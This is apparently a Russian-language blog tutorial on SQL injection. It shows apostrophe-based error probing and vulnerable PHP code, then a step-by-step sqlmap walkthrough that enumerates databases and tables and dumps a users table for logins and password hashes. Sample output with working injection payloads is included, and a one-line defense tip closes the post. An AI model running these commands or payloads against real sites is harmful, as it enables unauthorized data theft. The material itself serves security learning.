Sqlmap инструмент для sql-инъекций

Данная заметка не предназначена для кулхацкеров, а только в целях ознакомления с инструментом, для проверки веб-приложений на данные уязвимости.

SQL-инъекция  – это атака на приложение или сайт, в ходе которой, в запрос злоумышленник может добавить некоторые изменения и получить на выходе все-что угодно – от версии СУБД до данных из таблиц, а то и изменение этих данных. В теорию я сильно вдаваться не буду, много уже написано на хабре и есть такая брошюрка “Sql инъекции от А до Я”, можно нагулить в сети. Если  языком метафоры, то это похоже на вот что. Вы написали на бумажке “купить бутылку воды”, что не забыть в магазине купить воды. И вот вы идете в магазин, а ваш брат дописал тайком на бумажке ” и одну бутылку пива”. То есть у вас в магазине получится такой запрос :))

SELECT item FROM shop WHERE id=’вода’ AND id=пиво’ LIMIT 1;

Ну это так, сугубо для примера. Так же и в инъекции, можно получить какие-то данные из базы, которые изначальный запрос нам отдать не обязан.

Инъекцию можно реализовать, когда не фильтруются входные данные. Причем это может любая СУБД с sql языком: и mysql, и mssql, и oracle и т.п. Небольшой пример:

Нашли мы ссылку www.example.org/order.php?id=1 (тут, кстати, в поиске таких ссылок очень может помочь google dorks, объяснять не буду, а то выйдет мануал для школолохацкеров)

Так вот. Пробуем в конце поставить символ ‘ (одинарная кавычка, апостроф), то есть вот такой запрос

www.example.org/order.php?id=1′

И если получаем в браузере ошибку

Query failed: select * from orders where id=1′ You have an error in your SQL syntax; check the manual  that corresponds to your MySQL server version for the right syntax to use near ”’ at line 1

То, да, этот сайт\приложение в теории уязвимо и можно провести атаку.А все почему? Да потому что числовой параметр не проверяется и в коде примерно вот это

$id = $_GET[‘id’];
$query = “SELECT * FROM orders WHERE id=$id”;

То же самое можно проверить, если параметр не числовой. Например, запрос такой

www.example.org/admin.php?user=admin’

И если опять получаем ошибку, то это опять попахивает инъекцией.

Теперь возьмем  такой инструмент как Sqlmap (https://github.com/sqlmapproject/sqlmap), которым можно реализовать инъекцию и сделать еще много чего, в частности:

  • Fingerprint СУБД, то есть можно узнать что там крутится  на сервере и какая версия
  • Поиск столбцов и строк по базе
  • Поиск хешей и возможность брутфорса
  • Закачка файлов на сервер, шелл, например
  • Возмжность сделать дамп или частичный дамп данных
  • и многое другое

Теперь к практике, берез из репозитория скрипты и запускаем  на наш урл:

python /sqlmap/sqlmap.py -u www.example.org/order.php?id=1 –dbs

Тут все просто -u – это указываем урл и –dbs – это значит, что ищем  и определяем версию СУБД на сервере.

Если в выводе мы увидим, что-то типа этого

[11:07:12] [INFO] heuristic (basic) test shows that GET parameter ‘ID’ might be
injectable

То, скорее всего приложение уязвимо. Ждем дальше, когда комана отработает и видим

[11:07:21] [INFO] resuming back-end DBMS ‘mysql’
[11:07:22] [INFO] testing connection to the target URL
[11:07:23] [INFO] checking if the target is protected by some kind of WAF/IPS/ID
S
sqlmap resumed the following injection point(s) from stored session:

Parameter: id (GET)
Type: boolean-based blind
Title: AND boolean-based blind – WHERE or HAVING clause
Payload: id=214 AND 2295=2295

Type: error-based
Title: MySQL >= 5.0 AND error-based – WHERE, HAVING, ORDER BY or GROUP BY cl
ause
Payload: id=214 AND (SELECT 1142 FROM(SELECT COUNT(*),CONCAT(0x71626b6b71,(S
ELECT (ELT(1142=1142,1))),0x716a626271,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEM
A.CHARACTER_SETS GROUP BY x)a)

Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 OR time-based blind
Payload: id=214 OR SLEEP(5)

Type: UNION query
Title: Generic UNION query (NULL) – 13 columns
Payload: id=-1799 UNION ALL SELECT CONCAT(0x71626b6b71,0x5a516a5766504d6f504
662576b6445464f4a7145786d766a774a4f6179455945796f73627345436b,0x716a626271),NULL
,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL– –

[11:07:24] [INFO] the back-end DBMS is MySQL
web application technology: Apache 2.4.16
back-end DBMS: MySQL 5.0
[11:07:24] [INFO] fetching database names
[11:07:24] [INFO] the SQL query used returns 2 entries
[11:07:24] [INFO] resumed: “information_schema”

[*] example_DB

Вуаля! то есть мы определили, что на сервере крутится MYSQL  и есть базы information_schema и example_DB

Теперь можно пробовать посмотреть таблицы в базе и пр. данные

python /sqlmap/sqlmap.py -u www.example.org/order.php?id=1 -D example_DB –tables

И этот запрос нам покажет таблицы из базы example_DB.

Далее можно посмотреть столбы в интересующей таблице, вывод показывать не буду, и так все ясно.

python /sqlma/sqlmap.py -u www.example.org/order.php?id=1  -D example_DB -T users –columns

То есть данный запрос покажет столбцы таблицы users, а ведь там может быть много интересного.

Ну и можем посмотреть всю таблицу users с помощью опции dump, тогда делаем такой запрос

python /sqlma/sqlmap.py -u www.example.org/order.php?id=1  -D example_DB -T users –dump

Ну а там уже можно увидеть и логины и парольные хеши.

Теперь о главном. Как защититься от инъекций? Да очень просто. В описанном случае, можно просто фильтровать данные. Не лезть  в базу без обработки запроса. Для PHP отлично подойдет Pear DB модуль.

 

Добавить комментарий

Ваш e-mail не будет опубликован. Обязательные поля помечены *